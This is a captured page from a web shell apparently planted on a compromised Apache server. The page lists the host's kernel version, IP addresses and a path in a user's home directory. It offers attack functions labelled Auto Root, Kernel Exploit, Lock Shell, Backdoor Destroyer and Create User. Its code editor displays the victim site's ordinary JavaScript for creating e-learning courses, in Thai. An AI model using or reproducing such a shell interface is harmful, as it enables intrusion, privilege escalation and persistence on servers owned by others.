Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
work_181165 /
page /
Addcouse /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
index.css
3.06
KB
-rwxr-xr-x
index.js
28.05
KB
-rwxr-xr-x
index.php
8.16
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
var AuthToken = localStorage.getItem('AuthToken') var staCouse = false; function auto_grow(element) { element.style.height = "5px"; element.style.height = element.scrollHeight + "px"; } var BigUnit = 1; var unit = []; unit.push({ BigUnit: 0, unit: [] }) function change(type) { html = ""; if (type == "img") { html += ` <input type="file" id="img-detail"> `; } else if (type == "video") { html += ` <input type="text" placeholder="ระบุ ID video youtube" class="form-control" id="img-detail"> `; } else if (type == "docs") { html += ` <input type="url" placeholder="ระบุ url ของ เอกสาร" class="form-control" id="img-detail"> `; } else { return; } $(`#frame-inp`).html(html); $(`#preview`).html(""); } function changeinnovative(type) { html = ""; if (type == "img") { html += ` <input type="file" id="img-detail-media"> `; } else if (type == "video") { html += ` <input type="text" placeholder="ระบุ ID video youtube" class="form-control" id="img-detail-media"> `; } else if (type == "docs") { html += ` <input type="url" placeholder="ระบุ url ของ เอกสาร" class="form-control" id="img-detail-media"> `; } else { return; } $(`#frame-inp-media`).html(html); $(`#preview-media`).html(""); } var videointerval $(document).on(`change keypress`, `#img-detail`, (e) => { var type = $(e.currentTarget)[0].type; if (type == "file") { var file = $(e.currentTarget)[0].files[0]; var name = file.name.split(".") name = name[1] var allow = ["png", "jpg", "jpeg", "webp"] var sta = false; for (let i = 0; i < allow.length; i++) { if (allow[i] == name) { sta = true } } if (sta == false) { e.currentTarget.value = "" ErrorTime(1500, " ไฟล์ไม่รองรับ!!", false) return } else { var src = URL.createObjectURL(file); $(`#preview`).html(`<img src="${src}" class="img-preview">`); } } else if (type == "text") { var video = $(e.currentTarget).val() $(`#preview`).html(); clearInterval(videointerval) if (video.includes("?v=")) { video = video.split("?v="); video = video[1]; } if (video == "" || /^[0-9a-zA-Z:/\-\_?&="']+$/.test(video) !== true) { clearInterval(videointerval) inValid(e.currentTarget) return; } else { Valid(e.currentTarget) } videointerval = setTimeout(() => { var player; $(`#preview`).html(); $(`#preview`).html(`<div id="vid-title"></div>`); player = new YT.Player("vid-title", { videoId: video, playerVars: { rel: 0, }, events: { onReady: (event) => { event.target.playVideo(); event.target.stopVideo(); }, onError: (err) => { $(`#preview`).html(); $(`#preview`).html(`<p class="text-muted text-center mt-3 fs-4">ไม่พบวิดีโอ</p>`); } } }); }, 1500) } else { return; } }); $(document).on(`change keypress`, `#img-detail-media`, (e) => { var type = $(e.currentTarget)[0].type; console.log(type); if (type == "file") { var file = $(e.currentTarget)[0].files[0]; var name = file.name.split(".") name = name[1] var allow = ["png", "jpg", "jpeg", "webp"] var sta = false; for (let i = 0; i < allow.length; i++) { if (allow[i] == name) { sta = true } } if (sta == false) { e.currentTarget.value = "" ErrorTime(1500, " ไฟล์ไม่รองรับ!!", false) return } else { var src = URL.createObjectURL(file); $(`#preview-media`).html(`<img src="${src}" class="img-preview">`); } } else if (type == "text") { var video = $(e.currentTarget).val() $(`#preview-media`).html(); clearInterval(videointerval) if (video.includes("?v=")) { video = video.split("?v="); video = video[1]; } if (video == "" || /^[0-9a-zA-Z:/\-\_?&="']+$/.test(video) !== true) { clearInterval(videointerval) inValid(e.currentTarget) return; } else { Valid(e.currentTarget) } videointerval = setTimeout(() => { var player; $(`#preview-media`).html(); $(`#preview-media`).html(`<div id="vid-title"></div>`); player = new YT.Player("vid-title", { videoId: video, playerVars: { rel: 0, }, events: { onReady: (event) => { event.target.playVideo(); event.target.stopVideo(); }, onError: (err) => { $(`#preview-media`).html(); $(`#preview-media`).html(`<p class="text-muted text-center mt-3 fs-4">ไม่พบวิดีโอ</p>`); } } }); }, 1500) } else { return; } }); $(document).on(`change`, `#img-title`, (e) => { var file = e.currentTarget.files[0]; var name = file.name.split(".") name = name[1] var allow = ["png", "jpg", "jpeg", "webp"] var sta = false; for (let i = 0; i < allow.length; i++) { if (allow[i] == name) { sta = true } } if (sta == false) { e.currentTarget.value = "" ErrorTime(1500, " ไฟล์ไม่รองรับ!!", false) return } else { var src = URL.createObjectURL(file); $(`.img-pre`).html(`<img src="${src}" class="img-pre-title">`); } }); /* <li><button id="sub-test" data-id="${BigUnit}" class="btn-tran" type="button"> <i class="fa-solid fa-book"></i> เพิ่มแบบทดสอบ </button> </li> */ $(document).on(`click`, `#Add-unit`, (e) => { var html = ""; html += ` <div class="card mb-3" data-id="${BigUnit}" id="Unit"> <div class="card-header"> <input type="text" class="inp-couse form-control" id="BigUnit-name" data-id="${BigUnit}" placeholder="บทเรียนไม่มีชื่อ"> <button class="btn-tran btn-red" data-id="${BigUnit}" id="Unit-del"><i class="fa-solid fa-circle-minus"></i></button> </div> <div class="card-body"> <div class="accord-list" data-id="${BigUnit}"></div> <div class="vid-list" data-id="${BigUnit}"></div> <div class="tool-menu "> <ul> <li><button id="sub-unit" data-id="${BigUnit}" class="btn-tran" type="button"> <i class="fa-solid fa-plus"></i> เพิ่มเนื้อหา Video </button> </li> </ul> </div> </div> </div> `; $(`.Unit-form`).append(html); if (unit.length == 0) { unit.push({ BigUnit: BigUnit, unit: [] }) } else { unit.push({ BigUnit: BigUnit, unit: [] }) } BigUnit++; }); $(document).on(`click`, `#Unit-del`, (e) => { var id = $(e.currentTarget).attr("data-id"); $(`#Unit[data-id="${id}"]`).remove(); for (let i = 0; i < unit.length; i++) { if (id == unit[i].BigUnit) { unit.splice(i, 1); return; } } }); $(document).on(`click`, `#sub-unit`, (e) => { var id = $(e.currentTarget).attr("data-id"); var num = 0; var BigUnitNum = Number(id); if (unit.length == 0) { unit.push({ BigUnit: id, unit: [{ index: 0, type: "Unit", }] }) num = 0; } else { var sta = false; var index for (let i = 0; i < unit.length; i++) { if (BigUnitNum == unit[i].BigUnit) { sta = true index = i; break; } } if (sta == false) { unit.push({ BigUnit: id, unit: [{ index: 0, type: "Unit", }] }) num = 0; } else if (sta == true) { if (unit[index].unit.length == 0) { num = 0 unit[index].unit.push({ index: 0, type: "Unit", }) } else { var last = unit[index].unit.length var num = unit[index].unit[last - 1].index num++ unit[index].unit.push({ index: num, type: "Unit", }) } } } var html = ""; html += ` <div class="accordion-item" data-id="${num}" data-unit="${BigUnitNum}" id="accord"> <h2 class="accordion-header" id="heading-${id}-${num}"> <input type="text" id="title-unit" data-id="${num}" data-unit="${BigUnitNum}" class="form-control inp-couse" placeholder="เนื้อหาไม่มีชื่อ"> <button class="btn-tran btn-red" data-id="${num}" data-unit="${BigUnitNum}" id="sub-del"><i class="fa-solid fa-circle-minus"></i></button> <button class="accordion-button " type="button" data-bs-toggle="collapse"data-bs-target="#collapse-${id}-${num}" aria-expanded="true" aria-controls="collapse-${id}-${num}"></button> </h2> <div id="collapse-${id}-${num}" class="accordion-collapse collapse show" aria-labelledby="heading-${id}-${num}" data-bs-parent="#accordionExample"> <div class="accordion-body"> <div class="inp"> <input type="text" id="video-unit" data-id="${num}" data-unit="${BigUnitNum}" class="form-control" placeholder="URL iframe youtube"> <div class="preview" data-id="${num}" id="iframe-preview"></div> </div> <div class="role"> </div> </div> </div> </div> `; $(`.accord-list[data-id="${id}"]`).append(html) }); $(document).on(`click`, `#sub-ebook`, (e) => { var id = $(e.currentTarget).attr("data-id"); var num = 0; var BigUnitNum = Number(id); if (unit.length == 0) { unit.push({ BigUnit: id, unit: [{ index: 0, type: "Unit", }] }) num = 0; } else { var sta = false; var index for (let i = 0; i < unit.length; i++) { if (id == unit[i].BigUnit) { sta = true index = i; break; } } if (sta == false) { unit.push({ BigUnit: id, unit: [{ index: 0, type: "Unit", }] }) num = 0; } else if (sta == true) { if (unit[index].unit.length == 0) { num = 0 unit[index].unit.push({ index: 0, type: "Unit", }) var html = ""; html += ` <div class="accordion-item" data-id="${num}" data-unit="${BigUnitNum}" id="accord"> <h2 class="accordion-header" id="heading-${id}-${num}"> <input type="text" id="title-unit" data-id="${num}" data-unit="${BigUnitNum}" class="form-control inp-couse" placeholder="เนื้อหาไม่มีชื่อ"> <button class="btn-tran btn-red" data-id="${num}" data-unit="${BigUnitNum}" id="sub-del"><i class="fa-solid fa-circle-minus"></i></button> <button class="accordion-button " type="button" data-bs-toggle="collapse"data-bs-target="#collapse-${id}-${num}" aria-expanded="true" aria-controls="collapse-${id}-${num}"></button> </h2> <div id="collapse-${id}-${num}" class="accordion-collapse collapse show" aria-labelledby="heading-${id}-${num}" data-bs-parent="#accordionExample"> <div class="accordion-body"> <div class="input-group mb-3"> <input type="text" id="ebook-unit" data-id="${num}" data-unit="${BigUnitNum}"> </div> </div> </div> </div> `; $(`.accord-list[data-id="${id}"]`).append(html) return; } else { var last = unit[index].unit.length var num = unit[index].unit[last - 1].index num++ unit[index].unit.push({ index: num, type: "Unit", }) } } } var html = ""; html += ` <div class="accordion-item" data-id="${num}" data-unit="${BigUnitNum}" id="accord"> <h2 class="accordion-header" id="heading-${id}-${num}"> <input type="text" id="title-unit" data-id="${num}" data-unit="${BigUnitNum}" class="form-control inp-couse" placeholder="เนื้อหาไม่มีชื่อ"> <button class="btn-tran btn-red" data-id="${num}" data-unit="${BigUnitNum}" id="sub-del"><i class="fa-solid fa-circle-minus"></i></button> <button class="accordion-button " type="button" data-bs-toggle="collapse"data-bs-target="#collapse-${id}-${num}" aria-expanded="true" aria-controls="collapse-${id}-${num}"></button> </h2> <div id="collapse-${id}-${num}" class="accordion-collapse collapse show" aria-labelledby="heading-${id}-${num}" data-bs-parent="#accordionExample"> <div class="accordion-body"> <input type="text" data-id="${num}" data-unit="${BigUnitNum}" id="ebook-unit"> </div> </div> </div> `; $(`.accord-list[data-id="${id}"]`).append(html) }); $(document).on(`click`, `#sub-test`, (e) => { var id = $(e.currentTarget).attr("data-id"); var num = 0; var BigUnitNum = Number(id); if (unit.length == 0) { unit.push({ BigUnit: id, unit: [{ index: 0, type: "test", }] }) num = 0; } else { var sta = false; var index for (let i = 0; i < unit.length; i++) { if (id == unit[i].BigUnit) { sta = true index = i; break; } } if (sta == false) { unit.push({ BigUnit: id, unit: [{ index: 0, type: "test", }] }) num = 0; } else if (sta == true) { if (unit[index].unit.length == 0) { num = 0 unit[index].unit.push({ index: 0, type: "test", }) var html = ""; html += ` <div class="accordion-item" data-id="${num}" data-unit="${BigUnitNum}" id="accord"> <h2 class="accordion-header" id="heading-${id}-${num}"> <input type="text" id="title-unit" data-id="${num}" data-unit="${BigUnitNum}" class="form-control inp-couse" placeholder="เนื้อหาไม่มีชื่อ"> <button class="btn-tran btn-red" data-id="${num}" data-unit="${BigUnitNum}" id="sub-del"><i class="fa-solid fa-circle-minus"></i></button> <button class="accordion-button " type="button" data-bs-toggle="collapse"data-bs-target="#collapse-${id}-${num}" aria-expanded="true" aria-controls="collapse-${id}-${num}"></button> </h2> <div id="collapse-${id}-${num}" class="accordion-collapse collapse show" aria-labelledby="heading-${id}-${num}" data-bs-parent="#accordionExample"> <div class="accordion-body"> <div class="input-group mb-3"> <input type="file" id="pdf-unit" data-id="${num}" data-unit="${BigUnitNum}"> </div> </div> </div> </div> `; $(`.accord-list[data-id="${id}"]`).append(html) return; } else { var last = unit[index].unit.length var num = unit[index].unit[last - 1].index num++ unit[index].unit.push({ index: num, type: "test", }) } } } var html = ""; html += ` <div class="accordion-item" data-id="${num}" data-unit="${BigUnitNum}" id="accord"> <h2 class="accordion-header" id="heading-${id}-${num}"> <input type="text" id="title-unit" data-id="${num}" data-unit="${BigUnitNum}" class="form-control inp-couse" placeholder="เนื้อหาไม่มีชื่อ"> <button class="btn-tran btn-red" data-id="${num}" data-unit="${BigUnitNum}" id="sub-del"><i class="fa-solid fa-circle-minus"></i></button> <button class="accordion-button " type="button" data-bs-toggle="collapse"data-bs-target="#collapse-${id}-${num}" aria-expanded="true" aria-controls="collapse-${id}-${num}"></button> </h2> <div id="collapse-${id}-${num}" class="accordion-collapse collapse show" aria-labelledby="heading-${id}-${num}" data-bs-parent="#accordionExample"> <div class="accordion-body"> <input type="file" data-id="${num}" data-unit="${BigUnitNum}" id="pdf-unit"> </div> </div> </div> `; $(`.accord-list[data-id="${id}"]`).append(html) }); $(document).on(`click`, `#sub-del`, (e) => { var id = $(e.currentTarget).attr("data-id"); var Un = $(e.currentTarget).attr("data-unit"); $(`#accord[data-id="${id}"][data-unit="${Un}"]`).remove(); for (let i = 0; i < unit.length; i++) { if (unit[i].BigUnit == Un) { for (let y = 0; y < unit[i].unit.length; y++) { if (unit[i].unit[y].index == id) { unit[i].unit.splice(y, 1); return; break; } } } } }); var vidID = 0; $(document).on(" keyup", "#video-unit", (e) => { var video = $(e.currentTarget).val() $(e.currentTarget.nextElementSibling).html(); if (video.includes("?v=")) { video = video.split("?v="); video = video[1]; } if (video == "" || /^[0-9a-zA-Z:/\-\_?&="']+$/.test(video) !== true) { inValid(e.currentTarget) return; } else { Valid(e.currentTarget) } setTimeout(() => { $(e.currentTarget.nextElementSibling).html(); $(e.currentTarget.nextElementSibling).html(`<div id="vid-title-${vidID}"></div>`); new YT.Player(`vid-title-${vidID}`, { videoId: video, playerVars: { rel: 0, }, events: { onReady: (event) => { event.target.playVideo(); event.target.stopVideo(); }, onError: (err) => { $(e.currentTarget.nextElementSibling).html(); $(e.currentTarget.nextElementSibling).html(`<p class="text-muted text-center mt-3 fs-4">ไม่พบวิดีโอ</p>`); } } }); }, 1500) vidID++ }) $(document).on(`keyup`, `#Unitname`, (e) => { var val = e.target.value if (/^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ ().!#$%?"']+$/.test(val) == true) { Valid(e.currentTarget) } else { inValid(e.currentTarget) } }) $(document).on(`keyup`, `#Unitdetail`, (e) => { var val = e.target.value if (/^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ (),.!#@$%?"'\r\n|\r|\n]+$/.test(val) == true) { Valid(e.currentTarget) } else { inValid(e.currentTarget) } }) function inArray(needle, haystack) { var length = haystack.length; for (var i = 0; i < length; i++) { if (haystack[i] == needle) { return true; } } return false; } $(document).on(`click`, `#TestUnit`, (e) => { if (staCouse == true) { return } else { staCouse = true } var all = [true, false] var CategoryId = $(`#category_id`).val() var Unitname = $(`#Unitname`).val() var Unitdetail = $(`#Unitdetail`).val() var fileType = $(`#radio-type`).val() var fileTypeMedia = $(`#radio-type-media`).val() var sta = false; if (/^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ ().!#$%?@"']+$/.test(Unitname) == true) { Valid($(`#Unitname`)) } else { inValid($(`#Unitname`)) sta = true } if (/^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ (),@.!#$%?"'\r\n|\r|\n]+$/.test(Unitdetail) == true) { Valid($(`#Unitdetail`)) } else { inValid($(`#Unitdetail`)) sta = true } var filetitle = $(`#img-title`)[0].files[0] var type = $(`#img-detail`)[0].type; if (filetitle == undefined) { ErrorTime(1500, "กรุณาอัปโหลดไฟล์!!", false) staCouse = false; return; } var detail if (type == "file") { detail = $(`#img-detail`)[0].files[0] } else { detail = $(`#img-detail`).val() } ///////////////////////////////////////// var type = $(`#img-detail-media`)[0].type; var detailmedia if (type == "file") { detailmedia = $(`#img-detail-media`)[0].files[0] } else { detailmedia = $(`#img-detail-media`).val() } var arr = []; unit.sort() for (let i = 0; i < unit.length; i++) { var tt = [] var inner = unit[i].BigUnit var BigUnitname = $(`#BigUnit-name[data-id="${inner}"]`).val() if (/^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ ().@!#$%?"']+$/.test(BigUnitname) == true) { Valid($(`#BigUnit-name[data-id="${inner}"]`)[0]) } else { inValid($(`#BigUnit-name[data-id="${inner}"]`)[0]) sta = true } for (let t = 0; t < unit[i].unit.length; t++) { var index = unit[i].unit[t].index if (unit[i].unit[t].type == "Unit") { var val = $(`#title-unit[data-id="${index}"][data-unit="${inner}"] `).val() var videoID = $(`#video-unit[data-id="${index}"][data-unit="${inner}"] `).val() /* var ebookID = $(`#ebook-unit[data-id="${index}"][data-unit="${inner}"] `).val() var pdfID = $(`pdf-unit[data-id="${index}"][data-unit="${inner}"] `).files[0] */ // var asee = $(`#a-see[data-id="${index}"][data-unit="${inner}"]`)[0].checked // var askip = $(`#a-skip[data-id="${index}"][data-unit="${inner}"]`)[0].checked // var aend = $(`#a-end[data-id="${index}"][data-unit="${inner}"]`)[0].checked if (val == "") { Valid($(`#title-unit[data-id="${index}"][data-unit="${inner}"] `)[0]) } else if (/^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ ().!@#$%?"']+$/.test(val) == true) { Valid($(`#title-unit[data-id="${index}"][data-unit="${inner}"] `)[0]) } else { inValid($(`#title-unit[data-id="${index}"][data-unit="${inner}"] `)[0]) sta = true } if (videoID.includes("?v=")) { videoID = videoID.split("?v="); videoID = videoID[1]; } if (videoID == "" || /^[0-9a-zA-Z:/\-\_?&="']+$/.test(videoID) !== true) { inValid($(`#video-unit[data-id="${index}"][data-unit="${inner}"] `)[0]) sta = true } else { Valid($(`#video-unit[data-id="${index}"][data-unit="${inner}"] `)[0]) } // if (inArray(asee, all) == false) { // sta = true; // } // if (inArray(askip, all) == false) { // sta = true; // } // if (inArray(aend, all) == false) { // sta = true; // } tt.push({ type: "unit", video: videoID, /* ebook: ebookID, pdf: pdfID, */ Unitname: val, see: 200, end: 200, skip: 200, }) /* } else if (unit[i].unit[t].type == "test") { if ($(`#a-study[data-id="${index}"][data-unit="${inner}"]`).length !== 0) { var study = $(`#a-study[data-id="${index}"][data-unit="${inner}"]`)[0].checked } else { var study = false; } var done = $(`#a-done[data-id="${index}"][data-unit="${inner}"]`)[0].checked var val = $(`#title-unit[data-id="${index}"][data-unit="${inner}"]`).val() if (val == "") { Valid($(`#title-unit[data-id="${index}"][data-unit="${inner}"] `)[0]) } else if (/^[0-9a-zA-Zก-ฮะาิีุูึืเัแโไใฤๅฦๅๆำํ๊้็่์ฯ๋ ().!@#$%?"']+$/.test(val) == true) { Valid($(`#title-unit[data-id="${index}"][data-unit="${inner}"] `)[0]) } else { inValid($(`#title-unit[data-id="${index}"][data-unit="${inner}"] `)[0]) sta = true } tt.push({ Unitname: val, type: "test", study, done })*/ } else { return; } } arr.push({ dataUnit: tt, BigUnitname: BigUnitname, BigUnit: BigUnit }) } var status = $(`#status-couse`)[0].checked if (sta == true) { staCouse = false; ErrorTime(1500, "ข้อมูลไม่ถูกต้อง!!", false) return; } else { var formData = new FormData formData.append("file", filetitle) formData.append("file-detail", detail) formData.append("fileType", fileType) formData.append("fileTypeMedia", fileTypeMedia) formData.append("Unitdata", JSON.stringify(arr)) formData.append("Unitname", Unitname) formData.append("Unitdetail", Unitdetail) formData.append("status", status) formData.append("AuthToken", AuthToken) formData.append("CategoryId", CategoryId) formData.append("file-detail-media", detailmedia) $.ajax({ url: "API/couse/saveControl", method: "POST", processData: false, contentType: false, data: formData, }) .done((res) => { res = JSON.parse(res); // var data = jQuery.parseJSON(res); // $.each(data, function(index, value) { // alert(value); // }); staCouse = false; // res = JSON.parse(res.responseText); // alert(res); // successTime(1500, res.message.BigUnitname, false); if(res.status == true){ successTime(1500, "บันทึกสำเร็จ", () => { location.href = "couse" }) } else { ErrorTime(1500, res.message, false); } }) .fail((err) => { staCouse = false; err = JSON.parse(err.responseText); ErrorTime(1500, err.message, false); return; }); } staCouse = false; })
Close